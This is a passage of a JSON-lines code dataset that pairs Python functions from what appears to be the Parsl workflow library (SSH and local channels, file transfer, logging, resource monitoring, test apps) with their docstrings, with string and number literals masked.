{"signature": "def execute_no_wait(self, cmd, walltime, envs={}):", "body": "current_env = copy.deepcopy(self._envs)<EOL>current_env.update(envs)<EOL>try:<EOL><INDENT>proc = subprocess.Popen(<EOL>cmd,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE,<EOL>cwd=self.userhome,<EOL>env=current_env,<EOL>shell=True,<EOL>preexec_fn=os.setpgrp<EOL>)<EOL>pid = proc.pid<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.warn(\"<STR_LIT>\", (cmd, e))<EOL>raise<EOL><DEDENT>return pid, proc<EOL>", "docstring": "Synchronously execute a commandline string on the shell.\n\n        Args:\n            - cmd (string) : Commandline string to execute\n            - walltime (int) : walltime in seconds, this is not really used now.\n\n        Returns a tuple containing:\n\n           - pid : process id\n           - proc : a subprocess.Popen object\n\n        Raises:\n         None.", "id": "f2590:c0:m2"}
{"signature": "def push_file(self, source, dest_dir):", "body": "local_dest = dest_dir + '<STR_LIT:/>' + os.path.basename(source)<EOL>if os.path.dirname(source) != dest_dir:<EOL><INDENT>try:<EOL><INDENT>shutil.copyfile(source, local_dest)<EOL>os.chmod(local_dest, <NUM_LIT>)<EOL><DEDENT>except OSError as e:<EOL><INDENT>raise FileCopyException(e, self.hostname)<EOL><DEDENT><DEDENT>return local_dest<EOL>", "docstring": "If the source files dirpath is the same as dest_dir, a copy\n        is not necessary, and nothing is done. Else a copy is made.\n\n        Args:\n            - source (string) : Path to the source file\n            - dest_dir (string) : Path to the directory to which the files is to be copied\n\n        Returns:\n            - destination_path (String) : Absolute path of the destination file\n\n        Raises:\n            - FileCopyException : If file copy failed.", "id": "f2590:c0:m3"}
{"signature": "def close(self):", "body": "return False<EOL>", "docstring": "There's nothing to close here, and this really doesn't do anything\n\n        Returns:\n             - False, because it really did not \"close\" this channel.", "id": "f2590:c0:m4"}
{"signature": "def isdir(self, path):", "body": "return os.path.isdir(path)<EOL>", "docstring": "Return true if the path refers to an existing directory.\n\n        Parameters\n        ----------\n        path : str\n            Path of directory to check.", "id": "f2590:c0:m5"}
{"signature": "def makedirs(self, path, mode=<NUM_LIT>, exist_ok=False):", "body": "return os.makedirs(path, mode, exist_ok)<EOL>", "docstring": "Create a directory.\n\n        If intermediate directories do not exist, they will be created.\n\n        Parameters\n        ----------\n        path : str\n            Path of directory to create.\n        mode : int\n            Permissions (posix-style) for the newly-created directory.\n        exist_ok : bool\n            If False, raise an OSError if the target directory already exists.", "id": "f2590:c0:m6"}
{"signature": "def abspath(self, path):", "body": "return os.path.abspath(path)<EOL>", "docstring": "Return the absolute path.\n\n        Parameters\n        ----------\n        path : str\n            Path for which the absolute path will be returned.", "id": "f2590:c0:m7"}
{"signature": "def __init__(self, hostname, username=None, password=None, script_dir=None, envs=None, gssapi_auth=False, skip_auth=False, **kwargs):", "body": "self.hostname = hostname<EOL>self.username = username<EOL>self.password = password<EOL>self.kwargs = kwargs<EOL>self.script_dir = script_dir<EOL>self.skip_auth = skip_auth<EOL>self.gssapi_auth = gssapi_auth<EOL>if self.skip_auth:<EOL><INDENT>self.ssh_client = NoAuthSSHClient()<EOL><DEDENT>else:<EOL><INDENT>self.ssh_client = paramiko.SSHClient()<EOL><DEDENT>self.ssh_client.load_system_host_keys()<EOL>self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())<EOL>self.envs = {}<EOL>if envs is not None:<EOL><INDENT>self.envs = envs<EOL><DEDENT>try:<EOL><INDENT>self.ssh_client.connect(<EOL>hostname,<EOL>username=username,<EOL>password=password,<EOL>allow_agent=True,<EOL>gss_auth=gssapi_auth,<EOL>gss_kex=gssapi_auth,<EOL>)<EOL>t = self.ssh_client.get_transport()<EOL>self.sftp_client = paramiko.SFTPClient.from_transport(t)<EOL><DEDENT>except paramiko.BadHostKeyException as e:<EOL><INDENT>raise BadHostKeyException(e, self.hostname)<EOL><DEDENT>except paramiko.AuthenticationException as e:<EOL><INDENT>raise AuthException(e, self.hostname)<EOL><DEDENT>except paramiko.SSHException as e:<EOL><INDENT>raise SSHException(e, self.hostname)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise SSHException(e, self.hostname)<EOL><DEDENT>", "docstring": "Initialize a persistent connection to the remote system.\n        We should know at this point whether ssh connectivity is possible\n\n        Args:\n            - hostname (String) : Hostname\n\n        KWargs:\n            - username (string) : Username on remote system\n            - password (string) : Password for remote system\n            - script_dir (string) : Full path to a script dir where\n              generated scripts could be sent to.\n            - envs (dict) : A dictionary of environment variables to be set when executing commands\n\n        Raises:", "id": "f2592:c1:m0"}
{"signature": "def execute_wait(self, cmd, walltime=<NUM_LIT:2>, envs={}):", "body": "<EOL>stdin, stdout, stderr = self.ssh_client.exec_command(<EOL>self.prepend_envs(cmd, envs), bufsize=-<NUM_LIT:1>, timeout=walltime<EOL>)<EOL>exit_status = stdout.channel.recv_exit_status()<EOL>return exit_status, stdout.read().decode(\"<STR_LIT:utf-8>\"), stderr.read().decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Synchronously execute a commandline string on the shell.\n\n        Args:\n            - cmd (string) : Commandline string to execute\n            - walltime (int) : walltime in seconds\n\n        Kwargs:\n            - envs (dict) : Dictionary of env variables\n\n        Returns:\n            - retcode : Return code from the execution, -1 on fail\n            - stdout  : stdout string\n            - stderr  : stderr string\n\n        Raises:\n        None.", "id": "f2592:c1:m2"}
{"signature": "def execute_no_wait(self, cmd, walltime=<NUM_LIT:2>, envs={}):", "body": "<EOL>stdin, stdout, stderr = self.ssh_client.exec_command(<EOL>self.prepend_envs(cmd, envs), bufsize=-<NUM_LIT:1>, timeout=walltime<EOL>)<EOL>return None, stdout, stderr<EOL>", "docstring": "Execute asynchronousely without waiting for exitcode\n\n        Args:\n            - cmd (string): Commandline string to be executed on the remote side\n            - walltime (int): timeout to exec_command\n\n        KWargs:\n            - envs (dict): A dictionary of env variables\n\n        Returns:\n            - None, stdout (readable stream), stderr (readable stream)\n\n        Raises:\n            - ChannelExecFailed (reason)", "id": "f2592:c1:m3"}
{"signature": "def push_file(self, local_source, remote_dir):", "body": "remote_dest = remote_dir + '<STR_LIT:/>' + os.path.basename(local_source)<EOL>try:<EOL><INDENT>self.makedirs(remote_dir, exist_ok=True)<EOL><DEDENT>except IOError as e:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(local_source, remote_dir))<EOL>if e.errno == <NUM_LIT:2>:<EOL><INDENT>raise BadScriptPath(e, self.hostname)<EOL><DEDENT>elif e.errno == <NUM_LIT>:<EOL><INDENT>raise BadPermsScriptPath(e, self.hostname)<EOL><DEDENT>else:<EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL>raise FileCopyException(e, self.hostname)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>self.sftp_client.put(local_source, remote_dest, confirm=True)<EOL>self.sftp_client.chmod(remote_dest, <NUM_LIT>)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(<EOL>local_source, remote_dest))<EOL>raise FileCopyException(e, self.hostname)<EOL><DEDENT>return remote_dest<EOL>", "docstring": "Transport a local file to a directory on a remote machine\n\n        Args:\n            - local_source (string): Path\n            - remote_dir (string): Remote path\n\n        Returns:\n            - str: Path to copied file on remote machine\n\n        Raises:\n            - BadScriptPath : if script path on the remote side is bad\n            - BadPermsScriptPath : You do not have perms to make the channel script dir\n            - FileCopyException : FileCopy failed.", "id": "f2592:c1:m4"}
{"signature": "def pull_file(self, remote_source, local_dir):", "body": "local_dest = local_dir + '<STR_LIT:/>' + os.path.basename(remote_source)<EOL>try:<EOL><INDENT>os.makedirs(local_dir)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno != errno.EEXIST:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(script_dir))<EOL>raise BadScriptPath(e, self.hostname)<EOL><DEDENT><DEDENT>if os.path.exists(local_dest):<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(local_dest))<EOL>raise FileExists(None, self.hostname, filename=local_dest)<EOL><DEDENT>try:<EOL><INDENT>self.sftp_client.get(remote_source, local_dest)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL>raise FileCopyException(e, self.hostname)<EOL><DEDENT>return local_dest<EOL>", "docstring": "Transport file on the remote side to a local directory\n\n        Args:\n            - remote_source (string): remote_source\n            - local_dir (string): Local directory to copy to\n\n\n        Returns:\n            - str: Local path to file\n\n        Raises:\n            - FileExists : Name collision at local directory.\n            - FileCopyException : FileCopy failed.", "id": "f2592:c1:m5"}
{"signature": "def isdir(self, path):", "body": "result = True<EOL>try:<EOL><INDENT>self.sftp_client.lstat(path)<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>result = False<EOL><DEDENT>return result<EOL>", "docstring": "Return true if the path refers to an existing directory.\n\n        Parameters\n        ----------\n        path : str\n            Path of directory on the remote side to check.", "id": "f2592:c1:m7"}
{"signature": "def makedirs(self, path, mode=<NUM_LIT>, exist_ok=False):", "body": "if exist_ok is False and self.isdir(path):<EOL><INDENT>raise OSError('<STR_LIT>'.format(path))<EOL><DEDENT>self.execute_wait('<STR_LIT>'.format(path))<EOL>self.sftp_client.chmod(path, mode)<EOL>", "docstring": "Create a directory on the remote side.\n\n        If intermediate directories do not exist, they will be created.\n\n        Parameters\n        ----------\n        path : str\n            Path of directory on the remote side to create.\n        mode : int\n            Permissions (posix-style) for the newly-created directory.\n        exist_ok : bool\n            If False, raise an OSError if the target directory already exists.", "id": "f2592:c1:m8"}
{"signature": "def abspath(self, path):", "body": "return self.sftp_client.normalize(path)<EOL>", "docstring": "Return the absolute path on the remote side.\n\n        Parameters\n        ----------\n        path : str\n            Path for which the absolute path will be returned.", "id": "f2592:c1:m9"}
{"signature": "def __init__(self, hostname, username=None, password=None, script_dir=None, envs=None, **kwargs):", "body": "self.hostname = hostname<EOL>self.username = username<EOL>self.password = password<EOL>self.kwargs = kwargs<EOL>self.ssh_client = paramiko.SSHClient()<EOL>self.ssh_client.load_system_host_keys()<EOL>self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())<EOL>self.script_dir = script_dir<EOL>self.envs = {}<EOL>if envs is not None:<EOL><INDENT>self.envs = envs<EOL><DEDENT>try:<EOL><INDENT>self.ssh_client.connect(<EOL>hostname, username=username, password=password, allow_agent=True<EOL>)<EOL><DEDENT>except Exception:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>pass<EOL><DEDENT>'''<STR_LIT>'''<EOL>transport = self.ssh_client.get_transport()<EOL>il_password = getpass.getpass('<STR_LIT>'.format(hostname))<EOL>transport.auth_password(username, il_password)<EOL>self.sftp_client = paramiko.SFTPClient.from_transport(transport)<EOL>", "docstring": "Initialize a persistent connection to the remote system.\n        We should know at this point whether ssh connectivity is possible\n\n        Args:\n            - hostname (String) : Hostname\n\n        KWargs:\n            - username (string) : Username on remote system\n            - password (string) : Password for remote system\n            - script_dir (string) : Full path to a script dir where\n              generated scripts could be sent to.\n            - envs (dict) : A dictionary of env variables to be set when executing commands\n\n        Raises:", "id": "f2593:c0:m0"}
{"signature": "def ping_time(ip, n=<NUM_LIT:5>):", "body": "cmd = \"<STR_LIT>\".format(ip, n)<EOL>p = subprocess.Popen(cmd.split(\"<STR_LIT:U+0020>\"), stdout=subprocess.PIPE)<EOL>output = str(p.communicate()[<NUM_LIT:0>])<EOL>stats = output.split(\"<STR_LIT:\\n>\")[-<NUM_LIT:1>].split(\"<STR_LIT>\")[-<NUM_LIT:1>].split(\"<STR_LIT:/>\")<EOL>avg_ping_time = float(stats[<NUM_LIT:1>])  <EOL>return avg_ping_time * <NUM_LIT:1000><EOL>", "docstring": "Returns the average ping time in microseconds.\n\nNote: This function is inherently platform specific.\nIt currently works on Midway.", "id": "f2620:m0"}
{"signature": "def execute_task(f, args, kwargs, user_ns):", "body": "fname = getattr(f, '<STR_LIT>', '<STR_LIT:f>')<EOL>prefix = \"<STR_LIT>\"<EOL>fname = prefix + \"<STR_LIT:f>\"<EOL>argname = prefix + \"<STR_LIT:args>\"<EOL>kwargname = prefix + \"<STR_LIT>\"<EOL>resultname = prefix + \"<STR_LIT:result>\"<EOL>user_ns.update({fname: f,<EOL>argname: args,<EOL>kwargname: kwargs,<EOL>resultname: resultname})<EOL>code = \"<STR_LIT>\".format(resultname, fname,<EOL>argname, kwargname)<EOL>try:<EOL><INDENT>exec(code, user_ns, user_ns)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(e))<EOL>raise e<EOL><DEDENT>else:<EOL><INDENT>return user_ns.get(resultname)<EOL><DEDENT>", "docstring": "Deserialize the buffer and execute the task.\n\nReturns the result or exception.", "id": "f2621:m0"}
{"signature": "@App('<STR_LIT>')<EOL>def succeed_on_retry(filename, success_on=<NUM_LIT:2>, stdout=\"<STR_LIT>\"):", "body": "return \"\"\"<STR_LIT>\"\"\"<EOL>", "docstring": "If the input file does not exist it creates it.\n    Then, if the file contains success_on lines it exits with 0", "id": "f2647:m1"}
{"signature": "def run_checkpointed(n=<NUM_LIT:2>, mode=\"<STR_LIT>\"):", "body": "from parsl.tests.configs.local_threads import config<EOL>config[\"<STR_LIT>\"][\"<STR_LIT>\"] = mode<EOL>dfk = DataFlowKernel(config=config)<EOL>@App('<STR_LIT>', dfk, cache=True)<EOL>def cached_rand(x):<EOL><INDENT>import random<EOL>return random.randint(<NUM_LIT:0>, <NUM_LIT>)<EOL><DEDENT>@App('<STR_LIT>', dfk, cache=True)<EOL>def cached_failing(x):<EOL><INDENT><NUM_LIT:5> / <NUM_LIT:0><EOL>return <NUM_LIT:1><EOL><DEDENT>items = []<EOL>for i in range(<NUM_LIT:0>, n):<EOL><INDENT>x = cached_failing(<NUM_LIT:0>)<EOL>items.append(x)<EOL>try:<EOL><INDENT>x.result()<EOL><DEDENT>except Exception:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>pass<EOL><DEDENT><DEDENT>x = cached_rand(<NUM_LIT:1>)<EOL>print(x.result())<EOL>rundir = dfk.rundir<EOL>if mode == \"<STR_LIT>\":<EOL><INDENT>dfk.cleanup()<EOL><DEDENT>return rundir<EOL>", "docstring": "This test runs n apps that will fail with Division by zero error,\n    followed by 1 app that will succeed. The checkpoint should only have 1 task.", "id": "f2687:m0"}
{"signature": "def run_checkpointed(n=<NUM_LIT:2>, mode=\"<STR_LIT>\", sleep_dur=<NUM_LIT:0>):", "body": "from parsl.tests.configs.local_threads import config<EOL>config['<STR_LIT>']['<STR_LIT>'] = '<STR_LIT>'<EOL>config[\"<STR_LIT>\"][\"<STR_LIT>\"] = mode<EOL>dfk = DataFlowKernel(config=config)<EOL>@App('<STR_LIT>', dfk, cache=True)<EOL>def cached_rand(x, sleep_dur=<NUM_LIT:0>):<EOL><INDENT>import random<EOL>import time<EOL>time.sleep(sleep_dur)<EOL>return random.randint(<NUM_LIT:0>, <NUM_LIT>)<EOL><DEDENT>items = []<EOL>for i in range(<NUM_LIT:0>, n):<EOL><INDENT>x = cached_rand(i, sleep_dur=sleep_dur)<EOL>items.append(x)<EOL><DEDENT>[i.result() for i in items]<EOL>with open(\"<STR_LIT>\", '<STR_LIT:w>') as f:<EOL><INDENT>f.write(\"<STR_LIT>\")<EOL><DEDENT>time.sleep(<NUM_LIT:10>)<EOL>", "docstring": "This test runs n apps that will fail with Division by zero error,\n    followed by 1 app that will succeed. The checkpoint should only have 1 task", "id": "f2689:m0"}
{"signature": "@App('<STR_LIT>')<EOL>def xor_split():", "body": "x = rand()<EOL>if x.result() > <NUM_LIT:5>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>", "docstring": "Test XOR split. Do A if x else B", "id": "f2693:m23"}
{"signature": "def address_by_interface(ifname):", "body": "s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)<EOL>return socket.inet_ntoa(fcntl.ioctl(<EOL>s.fileno(),<EOL><NUM_LIT>,  <EOL>struct.pack('<STR_LIT>', bytes(ifname[:<NUM_LIT:15>], '<STR_LIT:utf-8>'))<EOL>)[<NUM_LIT:20>:<NUM_LIT>])<EOL>", "docstring": "Returns the IP address of the given interface name, e.g. 'eth0'\n\n    Parameters\n    ----------\n    ifname : str\n        Name of the interface whose address is to be returned. Required.\n\n    Taken from this Stack Overflow answer: https://stackoverflow.com/questions/24196932/how-can-i-get-the-ip-address-of-eth0-in-python#24196955", "id": "f2749:m3"}
{"signature": "def get_parsl_logger(<EOL>logger_name='<STR_LIT>',<EOL>is_logging_server=False,<EOL>monitoring_config=None,<EOL>**kwargs):", "body": "logger = logging.getLogger(logger_name)<EOL>if monitoring_config is None:<EOL><INDENT>logger.addHandler(NullHandler())<EOL>return logger<EOL><DEDENT>if monitoring_config.store is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if is_logging_server:<EOL><INDENT>handler = DatabaseHandler(monitoring_config.store.connection_string)<EOL>logger = logging.getLogger(logger_name)<EOL>logger.setLevel(logging.INFO)<EOL>logger.addHandler(handler)<EOL><DEDENT>else:<EOL><INDENT>handler = RemoteHandler(monitoring_config.store.logging_server_host, monitoring_config.store.logging_server_port)<EOL>logger = logging.getLogger(logger_name)<EOL>logger.setLevel(logging.INFO)<EOL>logger.addHandler(handler)<EOL><DEDENT>return logger<EOL>", "docstring": "Parameters\n----------\nlogger_name : str, optional\n    Name of the logger to use. Prevents adding repeat handlers or incorrect handlers\nis_logging_server : Bool, optional\n    Used internally to determine which handler to return when using local db logging\nmonitoring_config : MonitoringConfig, optional\n    Pass in a logger class object to use for generating loggers.\n\nReturns\n-------\nlogging.logger object\n\nRaises\n------\nOptionalModuleMissing", "id": "f2750:m0"}
{"signature": "def __init__(self,<EOL>host=None,<EOL>port=None,<EOL>logging_server_host='<STR_LIT:localhost>',<EOL>logging_server_port=<NUM_LIT>):", "body": "self.host = host<EOL>self.port = port<EOL>self.logging_server_host = logging_server_host<EOL>self.logging_server_port = logging_server_port<EOL>", "docstring": "Parameters\n----------\nhost : str\n     The hostname for running the visualization interface.\nport : int\n    The port for the visualization interface.\nlogging_server_host : str\n     The hostname for the logging server.\nlogging_server_port : int\n    The port for the logging server.", "id": "f2750:c1:m0"}
{"signature": "def __init__(self,<EOL>connection_string=None, **kwargs):", "body": "super().__init__(**kwargs)<EOL>self.connection_string = connection_string<EOL>", "docstring": "Initializes a monitoring configuration class.\n\n        Parameters\n        ----------\n        connection_string : str, optional\n            Database connection string that defines how to connect to the database. If not set, DFK init will use a sqlite3\n            database inside the rundir.", "id": "f2750:c2:m0"}
{"signature": "def __init__(self,<EOL>host='<STR_LIT>',<EOL>port=<NUM_LIT>):", "body": "self.host = host<EOL>self.port = port<EOL>", "docstring": "Parameters\n----------\nhost : str\n     The hostname for running the visualization interface.\nport : int\n    The port for the visualization interface", "id": "f2750:c3:m0"}
{"signature": "def __init__(self,<EOL>store=None,<EOL>visualization_server=None,<EOL>monitoring_interval=<NUM_LIT:15>,<EOL>workflow_name=None,<EOL>version='<STR_LIT>'):", "body": "self.store = store<EOL>self.visualization_server = visualization_server<EOL>self.version = version<EOL>self.monitoring_interval = monitoring_interval<EOL>self.workflow_name = workflow_name<EOL>self.dashboard_link = None<EOL>", "docstring": "Initializes a monitoring configuration class.\n\n        Parameters\n        ----------\n\n        monitoring_interval : float, optional\n            The amount of time in seconds to sleep in between resource monitoring logs per task.\n        workflow_name : str, optional\n            Name to record as the workflow base name, defaults to the name of the parsl script file if left as None.\n        version : str, optional\n            Optional workflow identification to distinguish between workflows with the same name, not used internally only for display to user.\n\n\n        Example\n        -------\n        .. code-block:: python\n\n            import parsl\n            from parsl.config import Config\n            from parsl.executors.threads import ThreadPoolExecutor\n            from parsl.monitoring.db_logger import MonitoringConfig\n\n            config = Config(\n                executors=[ThreadPoolExecutor()],\n                monitoring_config=MonitoringConfig(\n                    MonitoringStore=DatabaseStore(\n                        connection_string='sqlite///monitoring.db'\n                    )\n                    VisualizationInterface=VisualizationInterface(\n                        host='http:localhost'\n                        port='9999'\n                    )\n                )\n            )\n            parsl.load(config)", "id": "f2750:c4:m0"}
{"signature": "def start_file_logger(filename, name='<STR_LIT>', level=logging.DEBUG, format_string=None):", "body": "if format_string is None:<EOL><INDENT>format_string = \"<STR_LIT>\"<EOL><DEDENT>global logger<EOL>logger = logging.getLogger(name)<EOL>logger.setLevel(level)<EOL>handler = logging.FileHandler(filename)<EOL>handler.setLevel(level)<EOL>formatter = logging.Formatter(format_string, datefmt='<STR_LIT>')<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>return logger<EOL>", "docstring": "Add a stream log handler.\n    Parameters\n    ---------\n    filename: string\n        Name of the file to write logs to. Required.\n    name: string\n        Logger name. Default=\"parsl.executors.interchange\"\n    level: logging.LEVEL\n        Set the logging level. Default=logging.DEBUG\n        - format_string (string): Set the format string\n    format_string: string\n        Format string to use.\n    Returns\n    -------\n        None.", "id": "f2762:m0"}
{"signature": "def dbm_starter(priority_msgs, resource_msgs, *args, **kwargs):", "body": "dbm = DatabaseManager(*args, **kwargs)<EOL>dbm.start(priority_msgs, resource_msgs)<EOL>", "docstring": "Start the database manager process\n\n    The DFK should start this function. The args, kwargs match that of the monitoring config", "id": "f2762:m1"}
{"signature": "def start_file_logger(filename, name='<STR_LIT>', level=logging.DEBUG, format_string=None):", "body": "if format_string is None:<EOL><INDENT>format_string = \"<STR_LIT>\"<EOL><DEDENT>logger = logging.getLogger(name)<EOL>logger.setLevel(level)<EOL>handler = logging.FileHandler(filename)<EOL>handler.setLevel(level)<EOL>formatter = logging.Formatter(format_string, datefmt='<STR_LIT>')<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>return logger<EOL>", "docstring": "Add a stream log handler.\n\n    Parameters\n    ---------\n\n    filename: string\n        Name of the file to write logs to. Required.\n    name: string\n        Logger name. Default=\"parsl.executors.interchange\"\n    level: logging.LEVEL\n        Set the logging level. Default=logging.DEBUG\n        - format_string (string): Set the format string\n    format_string: string\n        Format string to use.\n\n    Returns\n    -------\n        None.", "id": "f2764:m0"}
{"signature": "def monitor(pid, task_id, monitoring_hub_url, run_id, sleep_dur=<NUM_LIT:10>):", "body": "import psutil<EOL>radio = UDPRadio(monitoring_hub_url,<EOL>source_id=task_id)<EOL>simple = [\"<STR_LIT>\", '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:name>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:status>', '<STR_LIT:username>']<EOL>summable_values = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>pm = psutil.Process(pid)<EOL>pm.cpu_percent()<EOL>first_msg = True<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>d = {\"<STR_LIT>\" + str(k): v for k, v in pm.as_dict().items() if k in simple}<EOL>d[\"<STR_LIT>\"] = run_id<EOL>d[\"<STR_LIT>\"] = task_id<EOL>d['<STR_LIT>'] = sleep_dur<EOL>d['<STR_LIT>'] = first_msg<EOL>d['<STR_LIT>'] = datetime.datetime.now()<EOL>children = pm.children(recursive=True)<EOL>d[\"<STR_LIT>\"] = psutil.cpu_count()<EOL>d['<STR_LIT>'] = pm.memory_info().vms<EOL>d['<STR_LIT>'] = pm.memory_info().rss<EOL>d['<STR_LIT>'] = pm.cpu_times().user<EOL>d['<STR_LIT>'] = pm.cpu_times().system<EOL>d['<STR_LIT>'] = len(children)<EOL>try:<EOL><INDENT>d['<STR_LIT>'] = pm.io_counters().write_bytes<EOL>d['<STR_LIT>'] = pm.io_counters().read_bytes<EOL><DEDENT>except psutil._exceptions.AccessDenied:<EOL><INDENT>d['<STR_LIT>'] = <NUM_LIT:0><EOL>d['<STR_LIT>'] = <NUM_LIT:0><EOL><DEDENT>for child in children:<EOL><INDENT>for k, v in child.as_dict(attrs=summable_values).items():<EOL><INDENT>d['<STR_LIT>' + str(k)] += v<EOL><DEDENT>d['<STR_LIT>'] += child.cpu_times().user<EOL>d['<STR_LIT>'] += child.cpu_times().system<EOL>d['<STR_LIT>'] += child.memory_info().vms<EOL>d['<STR_LIT>'] += child.memory_info().rss<EOL>try:<EOL><INDENT>d['<STR_LIT>'] += child.io_counters().write_bytes<EOL>d['<STR_LIT>'] += child.io_counters().read_bytes<EOL><DEDENT>except psutil._exceptions.AccessDenied:<EOL><INDENT>d['<STR_LIT>'] += <NUM_LIT:0><EOL>d['<STR_LIT>'] += <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>radio.send(MessageType.TASK_INFO, task_id, d)<EOL>time.sleep(sleep_dur)<EOL>first_msg = False<EOL><DEDENT><DEDENT>", "docstring": "Internal\n    Monitors the Parsl task's resources by pointing psutil to the task's pid and watching it and its children.", "id": "f2764:m2"}
{"signature": "def __init__(self, monitoring_url, source_id=None, timeout=<NUM_LIT:10>):", "body": "self.monitoring_url = monitoring_url<EOL>self.sock_timeout = timeout<EOL>self.source_id = source_id<EOL>try:<EOL><INDENT>self.scheme, self.ip, port = (x.strip('<STR_LIT:/>') for x in monitoring_url.split('<STR_LIT::>'))<EOL>self.port = int(port)<EOL><DEDENT>except Exception:<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(monitoring_url))<EOL><DEDENT>self.sock = socket.socket(socket.AF_INET,<EOL>socket.SOCK_DGRAM,<EOL>socket.IPPROTO_UDP)  <EOL>self.sock.settimeout(self.sock_timeout)<EOL>", "docstring": "Parameters\n----------\n\nmonitoring_url : str\n    URL of the form <scheme>://<IP>:<PORT>\nmessage : py obj\n    Python object to send, this will be pickled\nsource_id : str\n    String identifier of the source\ntimeout : int\n    timeout, default=10s", "id": "f2764:c0:m0"}
{"signature": "def send(self, message_type, task_id, message):", "body": "x = <NUM_LIT:0><EOL>try:<EOL><INDENT>buffer = pickle.dumps((self.source_id,   <EOL>int(time.time()),  <EOL>message_type,<EOL>message))<EOL><DEDENT>except Exception as e:<EOL><INDENT>print(\"<STR_LIT>\".format(e))<EOL>return<EOL><DEDENT>try:<EOL><INDENT>x = self.sock.sendto(buffer, (self.ip, self.port))<EOL><DEDENT>except socket.timeout:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>return x<EOL>", "docstring": "Sends a message to the UDP receiver\n\n        Parameter\n        ---------\n\n        message_type: monitoring.MessageType (enum)\n            In this case message type is RESOURCE_INFO most often\n        task_id: int\n            Task identifier of the task for which resource monitoring is being reported\n        message: object\n            Arbitrary pickle-able object that is to be sent\n\n        Returns:\n            # bytes sent", "id": "f2764:c0:m1"}
{"signature": "def __init__(self,<EOL>hub_address,<EOL>hub_port=None,<EOL>hub_port_range=(<NUM_LIT>, <NUM_LIT>),<EOL>client_address=\"<STR_LIT:127.0.0.1>\",<EOL>client_port_range=(<NUM_LIT>, <NUM_LIT>),<EOL>workflow_name=None,<EOL>workflow_version=None,<EOL>logging_endpoint='<STR_LIT>',<EOL>logdir=None,<EOL>logging_level=logging.INFO,<EOL>resource_monitoring_enabled=True,<EOL>resource_monitoring_interval=<NUM_LIT:30>):  ", "body": "self.logger = None<EOL>self._dfk_channel = None<EOL>if _db_manager_excepts:<EOL><INDENT>raise(_db_manager_excepts)<EOL><DEDENT>self.client_address = client_address<EOL>self.client_port_range = client_port_range<EOL>self.hub_address = hub_address<EOL>self.hub_port = hub_port<EOL>self.hub_port_range = hub_port_range<EOL>self.logging_endpoint = logging_endpoint<EOL>self.logdir = logdir<EOL>self.logging_level = logging_level<EOL>self.workflow_name = workflow_name<EOL>self.workflow_version = workflow_version<EOL>self.resource_monitoring_enabled = resource_monitoring_enabled<EOL>self.resource_monitoring_interval = resource_monitoring_interval<EOL>", "docstring": "Update docs here.", "id": "f2764:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def monitor_wrapper(f, task_id, monitoring_hub_url, run_id, sleep_dur):<DEDENT>", "body": "def wrapped(*args, **kwargs):<EOL><INDENT>p = Process(target=monitor, args=(os.getpid(), task_id, monitoring_hub_url, run_id, sleep_dur))<EOL>p.start()<EOL>try:<EOL><INDENT>return f(*args, **kwargs)<EOL><DEDENT>finally:<EOL><INDENT>p.terminate()<EOL>p.join()<EOL><DEDENT><DEDENT>return wrapped<EOL>", "docstring": "Internal\n        Wrap the Parsl app with a function that will call the monitor function and point it at the correct pid when the task begins.", "id": "f2764:c1:m5"}
{"signature": "def __init__(self,<EOL>hub_address,<EOL>hub_port=None,<EOL>hub_port_range=(<NUM_LIT>, <NUM_LIT>),<EOL>database=None,              <EOL>visualization_server=None,  <EOL>client_address=\"<STR_LIT:127.0.0.1>\",<EOL>client_port=None,<EOL>monitoring_hub_address=\"<STR_LIT:127.0.0.1>\",<EOL>logdir=\"<STR_LIT:.>\",<EOL>logging_level=logging.DEBUG,<EOL>atexit_timeout=<NUM_LIT:3>    <EOL>):", "body": "try:<EOL><INDENT>os.makedirs(logdir)<EOL><DEDENT>except FileExistsError:<EOL><INDENT>pass<EOL><DEDENT>self.logger = start_file_logger(\"<STR_LIT>\".format(logdir),<EOL>name=\"<STR_LIT>\",<EOL>level=logging_level)<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>if not hub_port:<EOL><INDENT>self.logger.critical(\"<STR_LIT>\")<EOL><DEDENT>self.hub_port = hub_port<EOL>self.hub_address = hub_address<EOL>self.database = database<EOL>self.visualization_server = visualization_server<EOL>self.atexit_timeout = atexit_timeout<EOL>self.loop_freq = <NUM_LIT>  